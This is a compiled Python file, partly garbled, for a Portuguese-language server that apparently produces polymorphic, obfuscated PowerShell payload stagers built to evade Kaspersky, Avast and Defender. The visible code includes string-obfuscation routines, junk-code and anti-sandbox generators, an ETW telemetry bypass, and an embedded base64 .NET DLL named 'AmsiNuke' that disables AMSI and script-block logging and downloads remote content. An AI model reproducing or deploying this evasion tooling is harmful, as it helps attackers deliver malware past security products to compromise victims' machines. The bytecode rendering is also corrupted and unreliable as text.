U
    ·O«jr¤ ã                   @   s4  d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlmZ ddlmZ ddlmZmZmZ ddlmZ ddlZddlZddlZddlZddlmZ z(ddlmZmZmZ dd	lm Z  d
Z!W n e"k
�r   dZ!Y nX dddddd
dœZ#d
ddd
d
d
dd
d
d
d
d
d
ddd
ddddœZ$g g ddœZ%dddddœZ&d¼dd„Z'dd„ Z(d d!„ Z)d"d#„ Z*d$d%„ Z+d&d'„ Z,d(d)„ Z-d*d+„ Z.d,d-„ Z/d½d/d0„Z0ddl1Z1ddl2Z2ddlmZ3 d1Z4d2Z5e6d3œd4d5„Z7e6d6œd7d8„Z8d9d:„ Z9d;d<„ Z:e;e<d=œd>d?„Z=d@dA„ Z>e;e;dBœdCdD„Z?e;e<dEœdFdG„Z@e;e6e<dHœdIdJ„ZAdKdL„ ZBdMdN„ ZCdOdP„ ZDdQdR„ ZEdSdT„ ZFdUdV„ ZGdWdX„ ZHdYdZ„ ZId[d\„ ZJd]d^„ ZKd_d`„ ZLdadb„ ZMdcdd„ ZNdedf„ ZOdgdh„ ZPdidj„ ZQdkdl„ ZRdmdn„ ZSdodp„ ZTeUeUeUeUdqœdrds„ZVe;e;d=œdtdu„ZWdvdwd
ddxœe;e;eXeXeYeYe;dyœdzd{„ZZe;e;d=œd|d}„Z[e;e;d=œd~d„Z\e;e;d=œd€d�„Z]e;e6d=œd‚dƒ„Z^e;d„œd…d†„Z_e;e;d‡œdˆd‰„Z`e;e;ddŠœd‹dŒ„Zad¾e;e6e;dHœd�dŽ„Zbi acG d�d�„ d�ƒZdedƒ Zez$dd‘lfmgZg dd’lhmiZi ddljZjW n( e"k
�r   ekd“ƒ e ld”¡ Y nX egd•d–d—�Zmd˜diZnem od™¡dšd™„ ƒZpemjqd›eidœ�d¿e;d�œdždŸ„ƒZrem qd ¡dÀe;d�œd¡d¢„ƒZsem qd£¡d¤d¥„ ƒZtem qd¦¡d§d¨„ ƒZuem qd©¡e;dªœd«d¬„ƒZvem qd­¡d®d¯„ ƒZwem qd°¡d±d²„ ƒZxem qd³¡d´dµ„ ƒZyezd¶k�r0ej{ |ej{ }ej~d ¡¡d Zejj€e› d·�e#d¸ e#d¹ d”dºd»� dS )Áu¥  
â•”â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•—
â•‘  SERVIDOR COMPLETO + POOL v9.3 - ULTRA POLIMÃ“RFICO (Anti-Kaspersky)         â•‘
â• â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•£
â•‘                                                                              â•‘
â•‘  v9.3 CORRIGIDO - Tipos .NET literais, propriedades ofuscadas:               â•‘
â•‘  - Tipos como [Convert], [Security.Cryptography.Aes] = LITERAIS             â•‘
â•‘  - Propriedades como .Key, .IV = ofuscadas com obfuscate_for_property()     â•‘
â•‘  - ParÃ¢metros de GetType() = ofuscados com obfuscate_string_runtime()       â•‘
â•‘  - AES-256-CBC com chaves Ãºnicas por requisiÃ§Ã£o                              â•‘
â•‘  - Chunks em quantidade e ordem aleatÃ³ria (3-6 chunks)                       â•‘
â•‘  - Junk code distribuÃ­do (15-25% probabilidade)                              â•‘
â•‘  - Anti-sandbox com verificaÃ§Ã£o de tempo (50% chance)                        â•‘
â•‘                                                                              â•‘
â•‘  v8.9 ANTI-AVAST - String Concatenation SEGURA:                             â•‘
â•‘  - Ofusca APENAS strings em New-Object (contexto seguro)                    â•‘
â•‘                                                                              â•‘
â•‘  Referencias: bl4ckarch 2026, r-tec 2025, SpecterInsight                    â•‘
â•šâ•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�â•�

INSTALAÃ‡ÃƒO:
    pip3 install fastapi uvicorn cryptography --break-system-packages

EXECUTAR:
    python3 servidor_completo_pool.py

TESTAR:
    curl http://localhost:8888/health
    curl http://localhost:8888/proteger
é    N)ÚPath)Údatetime)ÚOptionalÚTupleÚDict)ÚProcessPoolExecutor)Údeque©ÚCipherÚ
algorithmsÚmodes©Údefault_backendTFú0.0.0.0i¸"  é   z/var/www/htmlz
msedge.txt)ÚhostÚportÚworkersÚbase_dirÚsource_fileÚlog_requestsé   é   )Úenable_sleep_jitterÚsleep_min_secondsÚsleep_max_secondsÚgenerate_stagerÚenable_aes_encryptionÚenable_amsi_bypassÚchunk_countÚenable_bypassÚenable_string_encryptÚenable_var_renameÚenable_func_renameÚenable_type_obfuscationÚenable_comment_removalÚenable_number_obfuscationÚenable_path_obfuscationÚenable_junk_codeÚenable_final_compressÚenable_disk_encryptÚjunk_code_density©Úsensitive_ipsÚsensitive_domainsÚserver_portéd   éÈ   é   )Úmin_sizeÚmax_sizeÚrefill_thresholdÚgenerator_threadsé   Ú c                    s*   t j‰ d ‡ fdd„t| ƒD ƒ¡}|| S )u.   Gera nome aleatÃ³rio para variÃ¡veis/funÃ§Ãµesr8   c                 3   s   | ]}t  ˆ ¡V  qd S ©N©ÚrandomÚchoice©Ú.0Ú_©Úchars© ú'/var/www/html/servidor_completo_pool.pyÚ	<genexpr>ƒ   s     zrandom_name.<locals>.<genexpr>)ÚstringÚascii_lettersÚjoinÚrange)ÚlengthÚprefixÚnamerB   r@   rC   Úrandom_name€   s    rL   c                   C   s   dt t dd¡ƒ S )u,   Gera nome de variÃ¡vel PowerShell aleatÃ³rioú$r2   r   ©rL   r;   ÚrandintrB   rB   rB   rC   Ú
random_var†   s    rP   c                 C   s    t  |  d¡¡ ¡ }d|› d�S )u;   Gera expressÃ£o PowerShell que decodifica Base64 em runtimeú	utf-16-lezH([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ú'))))Úbase64Ú	b64encodeÚencodeÚdecode)ÚvalueÚb64rB   rB   rC   Úb64_encode_psŠ   s    rY   c                    s6   t  dd¡‰ d ‡ fdd„| D ƒ¡}d|› dˆ › d�S )	Né   éþ   ú,c                 3   s   | ]}t t|ƒˆ A ƒV  qd S r9   ©ÚstrÚord©r>   Úc©ÚkeyrB   rC   rD   ‘   s     z xor_encode_ps.<locals>.<genexpr>ú(-join([byte[]]@(ú)|%{[char]($_-bxorú)}))©r;   rO   rG   )rW   ÚencodedrB   rb   rC   Úxor_encode_ps�   s    ri   c                    s  t  dd¡}|dkrJt  dd¡‰ d ‡ fdd„| D ƒ¡}d|› dˆ › d	�S |d
krˆt  dd¡‰d ‡fdd„| D ƒ¡}d|› dˆ› d	�S |dkrÆt  dd¡‰d ‡fdd„| D ƒ¡}d|› dˆ› d	�S |dkrît |  d¡¡ ¡ }d|› d�S |dk�rt |  d¡¡ ¡ }d|› d�S |dk�r¨t| ƒdk �r<d| › d�S g }d}|t| ƒk �r–t  dtd
t| ƒd ƒ¡}| 	d| ||| … › d�¡ ||7 }�qDdd |¡ d S |dk�rðt| ƒd
k �rÌd| › d�S d| d d d!… › d"t| ƒd › d#�S d d$d„ | D ƒ¡}d%|› d&�S d S )'u[  Ofusca string para ser reconstruÃ­da em runtime - ULTRA POLIMÃ“RFICO
    
    8 mÃ©todos diferentes, escolhidos aleatoriamente, com parÃ¢metros aleatÃ³rios.
    NUNCA produz o mesmo resultado duas vezes.
    
    NOTA: Retorna string que pode ser usada como VALOR, nÃ£o como tipo.
    Para tipos use obfuscate_type_name() ou strings literais.
    rZ   r   r[   r\   c                 3   s   | ]}t t|ƒˆ A ƒV  qd S r9   r]   r`   rb   rB   rC   rD   ¢   s     z+obfuscate_string_runtime.<locals>.<genexpr>rd   re   rf   é   é2   c                 3   s"   | ]}t t|ƒˆ  d  ƒV  qdS ©é   Nr]   r`   ©ÚoffsetrB   rC   rD   ¨   s     z)|%{[char]($_-r   c                 3   s&   | ]}t t|ƒˆ  d  d  ƒV  qdS rl   r]   r`   rn   rB   rC   rD   ®   s     z)|%{[char]($_+r   rQ   zA([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('rR   r2   úutf-8z>([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('r7   ú'r   ú(ú+ú)é   z(-join('Néÿÿÿÿz'[(z)..0]))c                 s   s   | ]}t t|ƒƒV  qd S r9   r]   r`   rB   rB   rC   rD   Ï   s     ú(-join([char[]]@(ú))))
r;   rO   rG   rS   rT   rU   rV   ÚlenÚmaxÚappend)ÚsÚmethodrh   rX   ÚpartsÚposÚchunkÚcodesrB   )rc   ro   rC   Úobfuscate_string_runtime”   sF    	


$r‚   c                 C   s’   t  dd¡}|dkr d| › d�S |dkrnt| ƒdk r@d| › d�S t| ƒd }d| d|… › d| |d… › d�S d	 d
d„ | D ƒ¡}d|› d�S dS )uz   Ofusca string para uso como nome de propriedade: $obj.($str)
    Usa apenas mÃ©todos simples que funcionam nesse contexto.rZ   r   rq   rj   ú('Nz'+'ú')r\   c                 s   s   | ]}t t|ƒƒV  qd S r9   r]   r`   rB   rB   rC   rD   â   s     z)obfuscate_for_property.<locals>.<genexpr>rw   rx   )r;   rO   ry   rG   )r|   r}   Úmidr�   rB   rB   rC   Úobfuscate_for_propertyÒ   s    "r†   c                  C   sR   dd„ dd„ dd„ dd„ dd„ dd„ dd„ d	d„ d
d„ dd„ dd„ g} t  | ¡ƒ S )u1   Gera cÃ³digo morto que parece legÃ­timo - VARIADOc                   S   s$   dt t dd¡ƒ› dt dd¡› �S )NrM   r   ru   ú=rZ   iŸ† rN   rB   rB   rB   rC   Ú<lambda>è   ó    z$generate_junk_code.<locals>.<lambda>c                   S   s*   dt t dd¡ƒ› dt t dd¡ƒ› d�S )NrM   r   ru   ú='r2   é   rq   rN   rB   rB   rB   rC   rˆ   é   r‰   c                   S   s   dt dƒ› d�S )Nzif($false){$r   z=$null}©rL   rB   rB   rB   rC   rˆ   ê   r‰   c                   S   s"   dt  dd¡› dt  dd¡› d�S )Nz[void](rZ   éç  rs   rt   ©r;   rO   rB   rB   rB   rC   rˆ   ë   r‰   c                   S   s   dt  dd¡› d�S )Nz$null=[Math]::Abs(iüÿÿr�   rt   rŽ   rB   rB   rB   rC   rˆ   ì   r‰   c                   S   s   dt dƒ› d�S )Nztry{$r   z=$null}catch{}rŒ   rB   rB   rB   rC   rˆ   í   r‰   c                   S   s   dS )Nzwhile($false){break}rB   rB   rB   rB   rC   rˆ   î   r‰   c                   S   s   dt dƒ› d�S )NrM   r   z=[Environment]::TickCountrŒ   rB   rB   rB   rC   rˆ   ï   r‰   c                   S   s   dS )Nz[void][Guid]::NewGuid()rB   rB   rB   rB   rC   rˆ   ð   r‰   c                   S   s   dS )Nz$null=[DateTime]::Now.TicksrB   rB   rB   rB   rC   rˆ   ñ   r‰   c                   S   s   dt dƒ› dt dƒ› d�S )NrM   r   z=$null;Remove-Variable z -EA 0rŒ   rB   rB   rB   rC   rˆ   ò   r‰   r:   )Ú	templatesrB   rB   rC   Úgenerate_junk_codeå   s    õr�   c                  C   sZ   dt dƒ } dt dƒ }t dd¡}d| › d|› d|› d|› d| › d	|d
 › d� ¡ }|S )u'   Gera cÃ³digo anti-sandbox/anti-anÃ¡liserM   r   rk   r1   Ú
z4=[Environment]::TickCount
Start-Sleep -Milliseconds z=[Environment]::TickCount
if((ú-z) -lt rj   z
){return}
)rL   r;   rO   Ústrip)Úvar1Úvar2Úsleep_msÚcoderB   rB   rC   Úgenerate_anti_sandboxö   s"    ÿþýýÿür˜   c                 C   sP   t  dd¡}|dkr2t|ƒ}| › d|› d| › d�S t|ƒ}d| › d|› d�S d	S )
u5   Ofusca chamada de mÃ©todo usando reflection ou stringrZ   rj   z.GetType().GetMethod(z	).Invoke(z,@())z(Invoke-Expression ('z.' + z	 + '()'))N)r;   rO   r‚   )Úobj_varÚmethod_namer}   Ú
method_strrB   rB   rC   Úobfuscate_method_call  s    rœ   rj   c           	      C   sœ   t | ƒdk rd| › d�S tt ||¡t | ƒƒ}t | ƒ| }g }t|ƒD ]B}|| }||d k rf|| nt | ƒ}| d| ||… › d�¡ qFdd |¡ d S )z+Fragmenta uma string em partes concatenadasr   ú"rZ   rr   z + rt   )ry   Úminr;   rO   rH   r{   rG   )	r|   Ú	min_partsÚ	max_partsÚ	num_partsÚpart_lenr~   ÚiÚstartÚendrB   rB   rC   Úsplit_string  s    r¦   z/opt/proteger/aes_keys.jsonaX  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7QAnADEA9QAuADEAAwEuADEAJgE2ADkA9QA+ADkALwFGAAkA7QBLADkAPgFQAFEAZgFWAFEAbwFGAFEAeAFQAAwANAATAAwAeAFiADkAAwE+AGEAsAFqAGEAAwFtAGEAtQFzAGkA4AF5AHEAHwK3AIEANAATAIEAPgK9AAkANAATAC4ACwDGAC4AEwDPAH8AwgBbAASAAAAAAAAAAAAAAAAAAAAAAJoAAAAEAAAAAAAAAAAAAAABABkAAAAAAAQAAAAAAAAAAAAAAAEAIgAAAAAAAAAAPE1vZHVsZT4AQW1zaU51a2UuZGxsAFIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdABFAEQALmN0b3IAdQBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQW1zaU51a2UAQXBwRG9tYWluAGdldF9DdXJyZW50RG9tYWluAFN5c3RlbS5SZWZsZWN0aW9uAEFzc2VtYmx5AEdldEFzc2VtYmxpZXMAVHlwZQBHZXRUeXBlAG9wX0luZXF1YWxpdHkAb3BfRXF1YWxpdHkARmllbGRJbmZvAEJpbmRpbmdGbGFncwBHZXRGaWVsZABHZXRWYWx1ZQBJbnQzMgBTZXRWYWx1ZQBTeXN0ZW0uQ29sbGVjdGlvbnMASURpY3Rpb25hcnkAQ29udGFpbnMAZ2V0X0l0ZW0Ac2V0X0l0ZW0AU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMARGljdGlvbmFyeWAyAEludFB0cgBaZXJvAEFkZABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABXcml0ZUludDY0AFN5c3RlbS5OZXQAU2VydmljZVBvaW50TWFuYWdlcgBTZWN1cml0eVByb3RvY29sVHlwZQBzZXRfU2VjdXJpdHlQcm90b2NvbABXZWJDbGllbnQARG93bmxvYWRTdHJpbmcAAAAAAE1TAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAAGtTAHkAcwB0AGUAbQAuAE0A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©Úreturnc               
   C   sL   z:t j t¡r8ttdƒ�} t | ¡W  5 Q R £ W S Q R X W n   Y nX i S )NÚr)ÚosÚpathÚexistsÚ	KEYS_FILEÚopenÚjsonÚload)ÚfrB   rB   rC   Ú
_load_keys-  s    "r²   )Úkeysc              
   C   s\   z&t tdƒ�}t | |¡ W 5 Q R X W n0 tk
rV } ztd|› �ƒ W 5 d }~X Y nX d S )NÚwz[ERRO] Salvar chaves: )r®   r­   r¯   ÚdumpÚ	ExceptionÚprint)r³   r±   ÚerB   rB   rC   Ú
_save_keys6  s
    r¹   c                     s8  dt dƒ } dt dƒ }dt dƒ }dt dƒ }dt dƒ }dt dƒ }dt dƒ }dt dƒ }dt dƒ }t dd¡‰ d}	d}
d}d	 ‡ fd
d„|	D ƒ¡}d	 ‡ fdd„|
D ƒ¡}d	 ‡ fdd„|D ƒ¡}g }| d¡ | | d tˆ ƒ ¡ | |d | d |  d ¡ | |d | d |  d ¡ | |d | d |  d ¡ | |d ¡ | |d | d | d ¡ | d| d ¡ | |d | d | d ¡ | d| d ¡ | |d | d ¡ | d| d ¡ | |d | d | d ¡ | d| d | d | d ¡ | d¡ d  |¡d  S )!záETW bypass - desabilita telemetria PS antes do bypass AMSI.
    
    v7.3 - strings montadas de byte arrays em runtime (nao literais)
    Defender usa ETWti (kernel events); desabilitar PSEtwLogProvider reduz telemetria.
    rM   r   r   rZ   é   z5System.Management.Automation.Tracing.PSEtwLogProviderÚetwProviderÚ	m_enabledr\   c                 3   s"   | ]}t t|ƒˆ  d @ ƒV  qdS ©éÿ   Nr]   r`   rn   rB   rC   rD   R  s     z&generate_etw_bypass.<locals>.<genexpr>c                 3   s"   | ]}t t|ƒˆ  d @ ƒV  qdS r½   r]   r`   rn   rB   rC   rD   S  s     c                 3   s"   | ]}t t|ƒˆ  d @ ƒV  qdS r½   r]   r`   rn   rB   rC   rD   T  s     útry{r‡   ú=-join(([byte[]]@(ú))|%{[char]($_ -ú)})ú=[Ref].Assemblyú	.GetType(rt   úif(ú){ú
